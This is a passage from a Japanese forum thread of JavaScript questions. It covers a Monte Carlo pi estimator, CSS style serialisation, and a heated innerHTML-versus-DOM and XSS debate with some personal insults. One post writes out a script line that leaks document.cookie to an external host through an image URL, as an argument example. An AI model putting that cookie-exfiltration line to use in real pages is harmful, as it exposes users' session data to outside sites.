+ JavaScript の質問� ..
77:Name_Not_Found
14/11/08 19:48:02.89 .net
こっちもぐだぐだ感あふれてるわ
さっきはあっちのスレにたまたま人が多かっただけで何も変わらん
78:Name_Not_Found
14/11/08 19:48:20.50 .net
>>76
>例えばさ、乱数が0.0から0.9まで出るとするじゃん
それは精度が低い（小数点第一位で終わってる）から。
random()が浮動小数点数を返すのは
精度が高く無いと、数値をかけた時に狂うから。
例えば0～5ではなく、0～99の時は
Math.random()*100になるが
0.4 だと 40、0.5 だと 50。41～49が出る確率は0になってしまう。
これが0.4～0.5の間もちゃんとでるのであれば、
0.41*100 = 41、0.42*100 = 42 のようにちゃんとでてくれる。
random()が0～1未満の浮動小数点数（なるべく小数点以下が多い数）を
返すのは、ある範囲の整数を返すときに必要な「任意の数をかける」時に
問題ないようにするためなんだよ。
君が言ってる隔たりの原因は精度�
79:ｪ低いから。
80:Name_Not_Found
14/11/08 19:50:04.53 .net
>>77
なんで始まってからすぐグダグダになるんだよｗ
81:Name_Not_Found
14/11/08 19:50:31.28 /Hj0O7lg.net
>>78
うん、ありがとう
82:Name_Not_Found
14/11/08 19:53:36.68 /Hj0O7lg.net
なんでこんなこと聞いてたかっていうと
以下のコードで円周率を計算しようと思ったんだけど
ちゃんとした数値が出なくて
どこがおかしいのか添削してくれ
凄い遠回りしてるのは、自覚してるので
出来れば大幅な改変は無しでお願いします
var arr = new Array();
for (m = -50; m < 51; m++) {
for (n = -50; n < 50; n++) {
arr.push([m, n]);
}
arr.push([m, n]);
}
function crd() {
var rdm = arr[Math.floor(Math.random() * 10201)];
return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2);
}
var j = 0;
for (i = 0; i < 100000; i++) {
if (crd() < 2500) {
j++;
}
}
document.write("π≒" + j * 4 / 100000);
83:Name_Not_Found
14/11/08 19:55:02.99 .net
>>79
こっちは>>39や>>42に対する回答がぐだぐだだったし、何も変わらん
84:Name_Not_Found
14/11/08 19:57:36.27 .net
> 0.2*6=1.2
> 0.3*6=1.8
> 0.4*6=2.4
> 0.5*6=3.0
ここだけを見ると2が出る確率が低いようだけど、実際は
0.00000 <= x < 0.16666… = 0
0.16666 <= x < 0.33333… = 1
0.33333 <= x < 0.5 = 2
0.5 <= x < 0.66666… = 3
になるから、どれも0.166666…ずつで、
ちょうど同じ数なんだよなね。
85:Name_Not_Found
14/11/08 20:07:18.90 .net
>>42>>46>>52>>67>>70>>71
elm.style.xxx に値をセットした時には setPropertyValue() が呼び出される
URLﾘﾝｸ(www.w3.org)
「Setting the camel-cased attribute attribute must invoke setProperty() ...」
その際に値が自動変換される
URLﾘﾝｸ(www.w3.org)
実際の定義は細かいけど、例として…
keyword は、小文字に変換される（RED は red になる。決して rgb() や #xxx などには変換されない）
<color> は、rgb(x, x, x) 又は rgba(x, x, x, x) に変換される。値同士は ", "（カンマ・スペース） で区切る
<length> で値が 0 の場合は、0px に変換される
さらに、style属性の文字列が更新される
URLﾘﾝｸ(www.w3.org)
「Mutating the declarations must set the style content attribute ...」
その際の文字列の生成方法は、URLﾘﾝｸ(www.w3.org) に記載されている。
概説すると、
[1] それぞれの宣言を「プロパティ名 + ": " + 値 + ";"」の形式にする。
. その際、ショートハンドプロパティで表せるならそれを用いる
[2] それぞれを " " で結合する
…というわけで、ブラウザが CSSOM に則っているなら、
elm.style.color = "red"; としたら style="color: red;" になるし、>>46 の各々の変換も仕様に沿ったものである。
ただし、CSSOM はまだ Working Draft なので、上記の仕様に沿っていないブラウザも多数あるのが事実。
とは言っても >>42 の場合は自分が動かす分で動作すればいいだけなので、自分の環境で動くものを回答レスから適当に拾えばいい。長文すまん
86:Name_Not_Found
14/11/08 20:25:18.35 .net
>>81
そのコードが何をやってるのかさっぱりわからんけど
（SQUEAKとかいうやつみたいだけど考えるの面倒くさいｗ）
以下のように数値変えたらそれっぽくなったよ。
何か計算間違ってるんじゃね？ 点の取り方とか個数とか枝切の値とか
var arr = new Array();
for (m = 0; m < 1000; m++) {
for (n = 0; n < 1000; n++) {
arr.push([m, n]);
}
arr.push([m, n]);
}
function crd() {
var rdm = arr[Math.floor(Math.random() * 1000000)];
return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2);
}
var j = 0;
for (i = 0; i < 100000; i++) {
if (crd() < 1000000) {
j++;
}
}
console.log("π≒" + j * 4 / 100000);
87:Name_Not_Found
14/11/08 20:30:25.30 .net
>>81
初めから10201個の点の位置を決めている、というのがナンセンス
この時点で π の正確な値は出せない
極端な例で言うと、3x3の9個の点だと、中央の1点しか円の内側にないでしょ？
改善する方法は、点の位置を毎回ランダムに決めること
頑張れば100文字ぐらいでコード書けるよ
88:70
14/11/08 20:31:19.43 knhGBN36.net
>>84
つまり、CSSOM 仕様準拠の実装なら
document.querySelector('span[style^="color: red;"], span[style*="; color: red;"]');
で>>42の目的を達成できるわけか
勉強になった、ありがとう
89:Name_Not_Found
14/11/08 20:35:53.57 /Hj0O7lg.net
>>85
うーん、点の個数が少ないのかな？
90:Name_Not_Found
14/11/08 20:37:13.71 /Hj0O7lg.net
>>86
10201個じゃ少ないってこと？
これだと上手くいく
var arr = new Array();
var j=0;
function f(){
return Math.pow(Math.random(),2);
}
for(i=0;i<10000000;i++){
if(f()+f()<1){
j++;
}
}
document.write("π≒"+j*4/10000000);
91:85
14/11/08 20:44:34.93 .net
> var arr = new Array();
> for (m = -50; m < 51; m++) {
> for (n = -50; n < 50; n++) {
> arr.push([m, n]);
> }
> arr.push([m, n]);
> }
50と51の違いも気持ち悪いが、ここを変えても変化はなかった。
2番目のarr.pushも気持ち悪いが、arr.length = 10201で
ランダムの最大とも一致するから間違ってないだろう。
> for (i = 0; i < 100000; i++) {
この100000はサンプル数だろう。単純に10倍したら結果も10倍になった。
j * 4 / 100000 の 100000と同じであれば数が多ければなんでも良さそうだ。
で最期に怪しかったのが、
> if (crd() < 2500) {
2500という数字で2500というのは50 * 50 だが
これは51 * 50 = 2550ではないのかね？
と思って変えてみたら、それらしくなったぞｗ
相変わらず数学的な意味はさっぱりわからんが（笑）
コードの一貫性における違和感のみからバグ取りしてみた。
92:86
14/11/08 20:46:12.07 .net
>>89
そう、まさにそれ
93:Name_Not_Found
14/11/08 21:44:59.37 /Hj0O7lg.net
>>90
確かにその違和感は自分でも感じた
でも理論的には間違っていない・・・はず
円周率を求めると言う課題は89のコードでクリアしたから
あとは何故このコードが上手く動かないかだけ
すっきりしたい
半径50の円を描いていることになるから2500で
間違いないはずなんだけどな
少しそこんとこ突き詰めて考えてみるか
94:Name_Not_Found
14/11/09 00:14:46.45 .net
3.1454ってなるじゃん。ただの誤差だよ
95:Name_Not_Found
14/11/09 00:41:50.23 BwBDaWrA.net
<<93
そうだな
こうしたら多�
96:ｭ良くなったから 多分初期値が少なすぎたんだと思う レス下さった皆さん有難う御座いました var arr = new Array(); for (m = -500; m < 501; m++) { for (n = -500; n < 500; n++) { arr.push([m, n]); } arr.push([m, n]); } function crd() { var rdm = arr[Math.floor(Math.random() * 1002001)]; return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2); } var j = 0; for (i = 0; i < 100000; i++) { if (crd() < 250000) { j++; } } document.write("π≒" + j * 4 / 100000);
97:Name_Not_Found
14/11/09 07:15:53.95 .net
>>94
これ、ループでランダムに要素をとる意味が全くないぞ
まずはプログラミングじゃなくて数学の勉強しろ
98:Name_Not_Found
14/11/09 08:55:16.54 BwBDaWrA.net
>>95
こういうこと？
var j=0;
function f(){
return Math.pow(Math.random(),2);
}
for(i=0;i<10000000;i++){
if(f()+f()<1){
j++;
}
}
document.write("π≒"+j*4/10000000);
99:Name_Not_Found
14/11/09 09:10:59.68 BwBDaWrA.net
総当り法ってことかな
100:Name_Not_Found
14/11/09 11:32:27.96 .net
いまだにinnerHTML使ってる奴見ると吐き気がする
101:Name_Not_Found
14/11/09 11:46:31.07 .net
場合によると思うけどね
jQueryにも使われてるし、仕様に書かれているくらいだし
102:Name_Not_Found
14/11/09 11:54:41.53 .net
意味不明
innerHTMLは普通に使っていいっていう結論が出たはずだが？
103:Name_Not_Found
14/11/09 12:00:19.93 .net
まあこの辺りでさんざん語られたことのコピペかな
+ JavaScript の質問用スレッド vol.117 +
ｽﾚﾘﾝｸ(hp板:531-番)
104:Name_Not_Found
14/11/09 12:19:35.74 .net
>>100
なにいってんのjQueryもメインはremoveChildで消してるんだけど
105:Name_Not_Found
14/11/09 12:20:03.17 .net
だいたいベンチ取ればinnerHTMLが猛烈に遅いのは分かることだろ
106:Name_Not_Found
14/11/09 12:21:07.15 .net
適材適所
原理主義はアホ
っていう結論になったはずだが？
107:Name_Not_Found
14/11/09 12:22:53.36 .net
適材適所ってなんだよ遅くて非効率なものを使う必要はねえんだよ
108:Name_Not_Found
14/11/09 12:36:22.89 1ma5/uRs.net
>>103
> だいたいベンチ取ればinnerHTMLが猛烈に遅いのは分かることだろ
速かったよ。
一見文字列を解釈する必要がある分時間がかかるから
不思議に思えるが、JavaScriptがネイティブでないのが原因。
innerHTMLだと、代入した後は
すべてネイティブで処理されるから早いが、
それと同等なことをネイティブでないJavaScriptでやると
1つずつオーバーヘッドが加わる。
あとさすがにブラウザ、HTMLテキストを解釈するのが仕事だけあって
相当チューニングされてる。
109:Name_Not_Found
14/11/09 12:50:16.73 .net
一度に代入できるのに遅いわけないだろw
110:Name_Not_Found
14/11/09 13:01:20.25 .net
>>103
遅くなるのは
innerHTML += string
を繰り返す場合だけだと思うが
これは前に挿入されたHTMLの構文解析を重複して繰り返す
ことに他ならない。遅くなるのは当然でベンチマークとして不公平
純粋な意味で innerHTML が劇的に遅いとされるベンチマーク結果はあるの？
111:Name_Not_Found
14/11/09 13:12:23.25 .net
URLﾘﾝｸ(jsperf.com)
112:Name_Not_Found
14/11/09 13:13:33.42 .net
遅くないって逝ってた奴出てこいよ
113:Name_Not_Found
14/11/09 13:16:18.20 .net
innerHTMLが敬遠されるのは速さじゃなくてXSS問題の方が大きいと思う
>>96がinnerHTMLを使ったコードだったら、>>07は吐き気を覚えるのだろう
114:Name_Not_Found
14/11/09 13:24:21.07 .net
初心者がinnerHTMLが1番って結論を出したらそれがこのスレの総意のように扱うな
115:Name_Not_Found
14/11/09 13:25:08.17 .net
innerHTML推し派はDOM XSSとか知らない
116:Name_Not_Found
14/11/09 13:27:46.52 .net
両者の長所短所を知っている人ならば、どっちか片方だけがいいだなんて言わない
117:Name_Not_Found
14/11/09 13:30:44.00 .net
いいえ、innerHTMLはデメリットしかない
118:Name_Not_Found
14/11/09 13:40:40.82 .net
URLﾘﾝｸ(jsperf.com)
innerHTMLの方が速い
119:Name_Not_Found
14/11/09 13:47:36.74 .net
XSS問題はinnerHTMLが抱える根幹の問題
XSSの発生しない方法があるなら、セキュリティ意識の高い人はinnerHTML以外を選択する
XSSに目をつぶるとしても、textContent, TextNode#data, insertAdjacentHTML に言及されるべきなのだが、既に>101で語り尽くされてる
120:Name_Not_Found
14/11/09 13:55:02.75 .net
>>116
DOM追加でinnerHTML使ったらXSSが発生するよ？
121:Name_Not_Found
14/11/09 13:59:37.37 .net
< と > をエスケープすればいいだけじゃん
122:Name_Not_Found
14/11/09 14:09:39.57 .net
appendChildがわざわざエスケープしてくれるのに手動でやるのか？
123:Name_Not_Found
14/11/09 14:24:33.49 .net
おっと、appendChildがエスケープって語弊があるな
124:Name_Not_Found
14/11/09 14:44:10.78 .net
手動ですればいいじゃん
innerHTMLの大きな問題点はXSSじゃない
125:Name_Not_Found
14/11/09 15:14:45.06 .net
はあ？
126:Name_Not_Found
14/11/09 18:31:54.69 .net
innerHTMLの問題はXSS以外にもあるが、既に>>101で議論されたので改めて議論する事もない
127:Name_Not_Found
14/11/09 18:33:06.53 DNSyM79S.net
>>118
> DOM追加でinnerHTML使ったらXSSが発生するよ？
なら、XSSが発生しないように
チェックすればいいだけじゃないの？
128:Name_Not_Found
14/11/09 18:39:55.90 .net
>>125
テキストノード操作すればチェックする必要がない
故にチェックミスも発生しない
129:Name_Not_Found
14/11/09 18:42:15.67 .net
>>125
テキストノード操作すればチェックする必要もない
130:Name_Not_Found
14/11/09 18:57:48.22 .net
innerHTMLはXSSが問題だと言っている人は、innerHTMLを使ってはいけないっていう主張なの？
131:Name_Not_Found
14/11/09 19:00:47.42 .net
遅くてDOMを壊す恐れがあるものを使う必要はない
132:Name_Not_Found
14/11/09 19:02:03.30 .net
ふーんじゃあjQueryも使わないんだね
133:Name_Not_Found
14/11/09 19:06:20.18 .net
jQueryを立てにして逃げんなよ
お前の言葉で反論どうぞチキン
134:Name_Not_Found
14/11/09 19:09:48.39 .net
jQueryは使わないって言えばいいだけなのに、なんで煽るんだろうね
135:Name_Not_Found
14/11/09 19:17:04.33 .net
自分の言葉で考えたことを述べましょう
136:Name_Not_Found
14/11/09 19:26:48.72 .net
例えば elm に <p id="a" class="b" style="color:red;">test<b>test</b>test</p> を入れたいと思ったらどうします？
innerHTML なら一行で済みます。十分大きな利点です
このコードも innerHTML を使わずに書くというのなら、私の負けです。毎日仏壇に掲げて尊敬します
137:Name_Not_Found
14/11/09 19:27:46.54 .net
基本的にjQueryでもinnerHTMLを利用しているAPIは使わない
使わなくて困ったことがない
138:Name_Not_Found
14/11/09 19:37:06.20 .net
>>134
> 例えば elm に <p id="a" class="b" style="color:red;">test<b>test</b>test</p> を入れたいと思ったらどうします？
まず、JavaScriptコード内にコンテンツを埋め込むという設計があり得ないから、そういうコードがあるなら設計から見直す
HTML上に用意されているコンテンツをJavaScriptで改変するのが基本
外部コンテンツを利用する場合は XML, CSV, JSON 等の整形フォーマット化されたデータをJavaScriptで取得して一定規則に則った方法でHTML出力する
139:136
14/11/09 19:42:37.16 EDVOS3A9.net
これらを実装する時には innerHTML は使わない
createTextNode, createElement, appendChild 等のDOM操作を使う
140:134
14/11/09 20:07:11.50 .net
確かに。言われてみればそうですね
innerHTMLを使うこと自体は問題ないけど、そもそも使う機会がないですし、使うような設計は見直すべきですね
大変失礼しました。今から仏壇に掲げてきます
141:Name_Not_Found
14/11/09 20:31:50.02 .net
>>136
>XML, CSV, JSON 等の整形フォーマット化されたデータを
コード内に埋め込むかどうかは別として
HTML 自体も整形フォーマット化されたデータなので
外部から取得したHTMLデータをinnerHTMLで直接的に放り込むことは
ありだと思うよ
142:136
14/11/09 21:50:57.54 EDVOS3A9.net
>>139
> HTML 自体も整形フォーマット化されたデータなので
ここでいう整形フォーマットとはデータフォーマットを指し、次の効果を期待する
- 他のフォーマットに容易に変換できる
- JavaScriptで解析できる
- DOMとして再構築できる
例えば、2列のCSVフォーマットがあるなら、Excelで編集可能な上にJavaScriptからdl要素、table要素として出力可能だろう
データはシンプルでなければならないし、JavaScriptで出力する時に様々な形式で出力可能な事を期待する
HTMLは論理構造といわれるが、データ構造としては余計な要素が多すぎる
table要素は比較的データ構造として使えるが、2次元データなら CSV, JSON の方が容易に扱えるだろう
DOM操作前提ならXMLの方が拡張性が高い
143:Name_Not_Found
14/11/09 21:58:09.64 .net
HTML Templatesが普及すれば万事解決
144:Name_Not_Found
14/11/09 22:15:30.68 EDVOS3A9.net
>>141
テンプレートHTMLは現状、JavaScriptでincludeするのは筋が悪い
もし、そういう意味で innerHTML を使用しているのならサーバサイドに任せるべきだ
145:Name_Not_Found
14/11/09 22:20:03.00 .net
>>142
あ、HTML Templatesっていうのは、HTML5のtemplate要素のことね
146:Name_Not_Found
14/11/09 22:32:31.81 EDVOS3A9.net
>>143
なるほど、失礼した
URLﾘﾝｸ(www.html5rocks.com)
HTMLにコンテンツを持ってくるのは良いとして、この使い方ではHTMLとJavaScriptで依存関係が出来てしまって管理しづらいと思うのだが
そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して cloneNode で使いまわす方がシンプルで汎用性が高い
ついでにtemplate要素と innerHTML に関連性を見出せないのだが、どういう理屈で何が解決するのだろうか
147:Name_Not_Found
14/11/09 22:39:27.47 .net
すまん俺は141や143でがあるが139ではない
148:Name_Not_Found
14/11/09 22:51:12.56 DNSyM79S.net
また意味もなくinnerHTMLはXSSが起きるって
言ってる奴いるのか？
XSSが起きる条件わかってないだろ。
外部から渡された任意のHTMLを処理するときだけだぞ。
ここまで言えば、まずありえない話だって気づくよな？
反論したいなら、具体的に起きる条件を書いて反論してくれよな。
149:Name_Not_Found
14/11/09 22:54:04.05 .net
外部ってなんのこと？
150:Name_Not_Found
14/11/09 22:56:09.37 DNSyM79S.net
>>147
どんなデータが来るのかを
知ることが不可能なもののこと
例えばユーザーが入力するデータは
知ることが不可能。
151:Name_Not_Found
14/11/09 22:57:03.49 .net
じゃあ内部は？
152:Name_Not_Found
14/11/09 23:00:55.60 DNSyM79S.net
>>149
内部は自分で書いたコード
例えば、自分で、HTMLに
<script>document.write('URLﾘﾝｸ(example.com)' + document.cookie')</scrpt>
って書いたら、cookieの内容が外部サイトに漏れて危険じゃないですか。
document.writeは危険です！っていう馬鹿はいないだろう？
153:Name_Not_Found
14/11/09 23:02:24.95 DNSyM79S.net
訂正
× <script>document.write('URLﾘﾝｸ(example.com)' + document.cookie')</scrpt>
○ <script>document.write('<img src="URLﾘﾝｸ(example.com)' + document.cookie' + '">")</scrpt>
154:Name_Not_Found
14/11/09 23:10:53.11 DNSyM79S.net
>>144
> HTMLにコンテンツを持ってくるのは良いとして、この使い方ではHTMLとJavaScriptで依存関係が出来てしまって管理しづらいと思うのだが
物による。
処理がJavaScriptだけで完結するようなものは、JavaScriptで生成して良い。
例えば、OKボタンだけのalertや、入力項目があるだけのconfirmの
代わりとなるダイアログライブラリとかね。
でも、任意のHTMLの内容をダイアログにだす。なんてものは
JavaScriptだけでできないので、こういうのはtemplate要素を使った方がいい。
というかそういうことをするためにtemplate要素がある。
「テンプレートの内容が引数になる場合」と考えればいい。
なお、外部から渡されるHTMLではない場合、
XSSは発生しないので、innerHTMLを使うとシンプルで分かりやすくなる。
> そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して cloneNode で使いまわす方がシンプルで汎用性が
つまり「JavaScript側でtemplateとなる要素ノードを生成」するときにHTMLで
var html = '<table><tr><td>なんとか</td></tr></table>'; みたいに書いて要素ノードを生成すると
わかりやすいだろう？ これだけのものがたった一行で書けたしね。
155:Name_Not_Found
14/11/09 23:20:29.85 DNSyM79S.net
本質はHTML断片をHTMLに置きたいか
JavaScriptに置きたいかってことなんだよな。
HTMLに置きたいならば、template要素。
JavaScriptに置きたいならば、・・・ヒアドキュメントが欲しい。
工夫次第でヒアドキュメントっぽいことができるのは知ってるけどね。
156:136
14/11/09 23:33:25.23 EDVOS3A9.net
>>152
少なくとも私の運用法ではtemplate要素にメリットは感じなかった
既存のHTMＬ改変ならtemplate要素を使う必要がないし、外部データからDOMを起こすならノード管理するほうが便利
innerHTML を利用したい場面は見つからなかった
> でも、任意のHTMLの内容をダイアログにだす。なんてものは
> JavaScriptだけでできないので、こういうのはtemplate要素を使った方がいい。
「ダイアログ」の定義が不明だが、HTMLで出来ているのならノード操作だけで十分に完結できる
後は元となるデータをどこから引っ張るかによるのだが、いずれにしてもデータを取得してDOMを構築する手法は何も変わらない
157:Name_Not_Found
14/11/09 23:37:15.63 DNSyM79S.net
> HTMLで出来ているのならノード操作だけで十分に完結できる
完結できるかどうかではなく、
重要なのはシンプルに完結できるかどうかだ。
その点が見えてないと、コードはムダに複雑になるばかりだぞ。
158:136
14/11/09 23:39:29.59 EDVOS3A9.net
>>153
> 本質はHTML断片をHTMLに置きたいか
> JavaScriptに置きたいかってことなんだよな。
私に言わせれば、そこは本質じゃない
そもそも、HTML断片で管理せず、データで管理する
HTMLはデータとしては余計な情報が多い
159:Name_Not_Found
14/11/09 23:42:00.54 DNSyM79S.net
>>156
今話をしているのは、データではない。
"単純にHTMLに変換するデータ" だ
データだけ書いてそれをHTMLに変換するなら
そんな無駄な作業は無くして直接HTMLを生成したほうが
わかりやすい。
反論したいなら、
var html = '<table><tr><td>なんとか</td></tr></table>'
任意の要素.innerHTML = html;
これをシンプルに書いて見せてみ。
160:136
14/11/09 23:46:17.30 EDVOS3A9.net
>>157
>>136の繰り返し
そんな設計にはしない
161:Name_Not_Found
14/11/09 23:47:25.99 DNSyM79S.net
>>158
なんで「俺はしない」が反論になると思ってんの？
お前がどうとか関係ねーよ。
innerHTMLをコードで書いたら
シンプルに出来ないだろう？
162:Name_Not_Found
14/11/09 23:54:59.86 EDVOS3A9.net
>>159
使う必要がないのだから使わない
やろうとしていることがナンセンスなのだから仕方ないだろう
例えば、「CSSを使わずに段組レイアウトしてみて、tableレイアウトでないと出来ないでしょ？」といっても誰も納得しないだろう
163:Name_Not_Found
14/11/09 23:59:08.50 DNSyM79S.net
>>168
たとえが意味不明。
JavaScriptでHTML（要素ノード）を生成するのが前提の話だろ？
> そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して
ほらそう書いてある。
わざわざグダグダなコード書いてHTMLを生成するなら
最初からHTMLを書いたほうが楽。
164:Name_Not_Found
14/11/10 00:02:01.29 .net
レベルの違う者同士の不毛な言い争い
165:Name_Not_Found
14/11/10 00:08:07.72 vE07iE/R.net
仕方ないよ。template要素がなぜ必要とされて
作られたのか？も理解できてないんだから。
俺なんか、ウェブの新しい技術を聞くたびに
あー、やっとそれができたんだねって
思うぐらいなんだから。
出来てから、それが必要とされた理由を理解する者と
必要な理由がわかっていて、出来るのを待ってる者の違いさ。
166:Name_Not_Found
14/11/10 00:15:22.25 .net
>>159
シンプルに書けるかどうかはパフォーマンスとは全く関係ないよね
167:136
14/11/10 00:16:26.51 9HdTHaj2.net
よくある間違いとしてはJavaScriptで何でもかんでも要素を生成して出力するやり方
まず、JavaScriptがなくても動作するようにするのが前提としてあるので、JavaScriptで後付する機能の為のコンテンツはHTMLに用意してある場合がほとんど
その場合は既存DOMから必要なデータを抽出してDOMを再構築するだけでいい
あくまで再構築なので innerHTML で上書きせず、ノード管理で変更箇所は最小限に抑える
データがHTML上に存在しないなら外部データを利用することになる
例えば、二次元データをtable出力したい場合はCSVファイルをJavaScriptでパースし、table要素ノードを生成してappendChildする
こうすることでCSVファイルを編集すれば出力されるtable要素にも反映されるようになる
JavaScriptのコードを書き換えれば、table要素でなく、別の要素にする事も出来るし、出力する形式は自由に変更できる
<table> を innerHTML で出力しても実現できるが、csvファイルを基にした方がデータを容易に編集可能だし、csvファイルはシンプルなフォーマットなので別のフォーマットにも容易に変換できる
CSVのパースが複雑だとか、DOMでcreateElementが面倒くさい、とかは大した問題じゃない
データは可搬性が高い方が良いし、データからDOMへの変換処理は安全性/汎用性が高い方が良い
汎用性が高ければ高い程、出力されるDOMの自由度が上がる
保守性、管理性、拡張性もろもろを考えるとHTML断片を扱うよりシンプルなデータから扱ったほうが合理的
>>162
忠告ありがとう
この辺にしておく
168:Name_Not_Found
14/11/10 00:24:04.20 vE07iE/R.net
>>164
> シンプルに書けるかどうかはパフォーマンスとは全く関係ないよね
innerHTMLだと、シンプルかつパフォーマンスがいいからね。
確かにシンプルとパフォーマンスは全く関係ないけど
169:Name_Not_Found
14/11/10 00:25:02.54 vE07iE/R.net
>>165
えっと、JavaScript製のテンプレートエンジンの
存在意義もわからない？
そっかぁ。その程度のレベルなんだね。
170:Name_Not_Found
14/11/10 00:28:40.75 .net
下らない煽りが多くてうんざり
IDが出ているだけマシか
171:Name_Not_Found
14/11/10 00:32:39.34 vE07iE/R.net
ID出しておくと便利で、うざいやつからの反論が無くなるんだよね。
だからワンサイドゲームになるｗ
172:Name_Not_Found
14/11/10 00:36:20.86 .net
彼は自己愛性パーソナリティ障害に該当するように見えた
内向的な人は大なり小なりその傾向があるが、流石に酷いな
173:Name_Not_Found
14/11/10 00:40:20.15 .net
× 反論が無くなる
○ 呆れて無視される
174:Name_Not_Found
14/11/10 00:52:01.97 .net
>>166
逆、innerHTMLのパフォーマンスはよくない
175:Name_Not_Found
14/11/10 00:58:02.62 vE07iE/R.net
>>171
無視でもなんでもいいわｗ
言い返さないのなら結構。
それが他の人にどう見えるかが重要なのだから。
176:Name_Not_Found
14/11/10 01:01:07.36 vE07iE/R.net
>>172
じゃあ、パフォーマンスについてはそれでいいよ。
それで本題。シンプルかどうかで言えば、
シンプルだろ？
177:Name_Not_Found
14/11/10 01:02:23.81 .net
議論スレではないのだが…
どのスクリプトエンジンのどのリリースのことなのやら
178:Name_Not_Found
14/11/10 01:23:24.12 .net
> それが他の人にどう見えるかが重要なのだから。
最後まで残った人が正しいように見える、と思ってるんだろうな
ID:vE07iE/R を読み返してもそう思えるなら重症
179:Name_Not_Found
14/11/10 01:24:16.93 vE07iE/R.net
>>176
誰もあんたの意見なんて聞いてないんだよ。
180:Name_Not_Found
14/11/10 01:25:11.56 .net
大丈夫
誰も ID:vE07iE/R の意見を聞いてないから、気にするな
181:Name_Not_Found
14/11/10 01:26:52.27 vE07iE/R.net
気にしてるからレスしてんだろｗ
嫌ならなんで無視できないのか？
もちろん気にしているならレスしても
構わないがねｗ
182:Name_Not_Found
14/11/10 01:36:14.97 vE07iE/R.net
>>165
template要素を使うよくある例がAjaxだね。
Ajaxを使ってデータだけ取ってくる。
そのデータを元にHTMLを生成する。
当然ながらAjaxを使う以上、JavaScriptを使うことになる。
それを加工して表示する。
例えばテーブルのHTMLの一部を加工するなど。
そういった時、JavaScriptは加工するということは知っていても
どのようなマークアップにするかはHTMLしだい。
テーブルの ”一部" ということから推測できるように
その他の部分はHTMLで書かれており、それはJavaScriptはしらない。
どういったマークアップにするかはHTMLできめることなので、
HTMLにテンプレートとして用意しておき、JavaScriptでは
その一部だけ値を入れ込む。
これにより、HTMLとJavaScriptが綺麗に分離される。
183:Name_Not_Found
14/11/10 01:43:36.62 vE07iE/R.net
CSVデータからテーブルを生成する話も同じ。
<table>
<tr><td>name1</td><td>value1</td></tr>
<tr><td>name2</td><td>value2</td></tr>
<tr><td>name3</td><td>value3</td></tr>
</table>
こういうものをDOM命令で作るのは馬鹿らしい。
createElementでtableを作ってtrを作ってtdを作ってappendして。
何をやってるのかさっぱりわからなくなる。
更にtableやtrやtdに属性を付けられるようにしたいとかなると、
テーブルを生成する命令に、いろんなパラメータを渡さなくければいけなくなる。
デザイナーが「このtableにとあるclassを付けたいんですけど」って言ったら
JavaScriptを修正しなくてはいけなくなる。
HTMLとJavaScriptが密接に結合してしまってるからね。
こういう時はテンプレートを使って、デザイナーが作成したHTMLの断片に
JavaScriptはプレースホルダに値を埋めるだけにするとシンプルに書くことが出来る。
もちろんHTMLだから自由にclassを設定したり出来る。
184:Name_Not_Found
14/11/10 01:45:42.59 vE07iE/R.net
>>165で
> JavaScriptのコードを書き換えれば、table要素でなく、別の要素にする事も出来るし、
なんて言ってるけど、よく見ればわかるよね。
JavaScriptのコードを書き換える必要があるって書いてある。
テンプレートを使うと、JavaScriptとHTMLは完全に分離されているから、
JavaScriptを一切変更しなくても、table要素ではなく、別の要素にすることも出来る。
HTML、つまりマークアップを書く人が、自分の好み通りの
マークアップを書くことが出来る。これが分離というもの。
185:Name_Not_Found
14/11/10 01:54:07.33 .net
>>181
> createElementでtableを作ってtrを作ってtdを作ってappendして。
> 何をやってるのかさっぱりわからなくなる。
この程度でわからなくなるレベルか
186:Name_Not_Found
14/11/10 01:59:00.69 .net
innetHTMLの話はどこへいった？
都合が悪くなってtemplate要素に鞍替えか？
187:Name_Not_Found
14/11/10 02:15:10.40 .net
>>182
よくわかんないんだけど、HTMLのコーダーでJavaScriptを知らない人っているの？
そもそも、表示を変えたければ、HTMLだろうがJavaScriptだろうが、
何かしらか変更しなきゃいけないんだから、
そんなのはプロジェクトのコーディング基準で決めればいいだけの話しで、
勝手に好みでコーダーがいじったら大問題だとおもうが。
188:Name_Not_Found
14/11/10 03:22:24.65 .net
innerHTMLってevalのDOM版のようなものだよなｗ
evalをどのような場面で使うかというのと似たようなものｗ
189:Name_Not_Found
14/11/10 04:05:51.10 .net
>>185
コーダーって、HTML,CSSだけでしょ？
JavaScriptはプログラマーだよ
JSのクラスは、一般的な静的に派生させるクラスではなく、
動的なプロトタイプ型のクラス
こんなややこしいものを、
簡単にプログラミングできないでしょ？
変数に、var を付けずに、また、"use strict"も付けずに、
プログラムしている人も多いんじゃないの？
190:Name_Not_Found
14/11/10 08:37:20.32 .net
>>187
JavaScriptプログラマならブロトタイプを理解できて当然
ただし、table操作にブロトタイプを理解する必要はない
Strict Modeも全く関係ない
191:Name_Not_Found
14/11/10 10:52:16.36 .net
最新のjQueryのソース見たけど、初期化の時点でinnerHTMLが5回使われてるね
どのAPIを使うかなんて関係なく、innerHTMLを否応なく使わされているわけだ
192:Name_Not_Found
14/11/10 11:45:59.51 .net
jQueryが使われてれば安全なの？
193:189
14/11/10 11:49:17.09 .net
いや、innerHTMLを毛嫌いしている人がいるみたいだから教えてあげただけだ
194:Name_Not_Found
14/11/10 11:50:26.54 .net
ここでの話とjQueryで使われているのは何か関係あるの？
195:189
14/11/10 11:52:09.54 .net
>>135で誤ったことを言っているから正しいことを言っただけだ
自分に関係ないのなら俺のレスは無視していい
196:Name_Not_Found
14/11/10 11:53:27.70 .net
まさかjquery使っていてinnnerHTML否定してる奴はいないよな？
197:Name_Not_Found
14/11/10 12:07:08.59 .net
jQueryが使ってるからinnerHTMLを使っていいという理屈はからは何の知見も生まれないことに気付こうな
198:189
14/11/10 12:17:00.14 .net
>>195
俺はそんなこと言ってないってｗ
innerHTMLが嫌いな人でjQueryを使っている人がいた（>>135）から教えただけ
もし他にもそういう人がいたら、jQueryを使うのをやめるか、あるいは自分で書き換えるといいと思う
199:Name_Not_Found
14/11/10 12:58:41.45 .net
innerHTML使わない（ｷﾘｯ
でもjqueryは使ってる←低脳ｗ
200:Name_Not_Found
14/11/10 13:34:42.97 .net
その個人攻撃には何の生産性も感じられないからいい加減に自重しろ
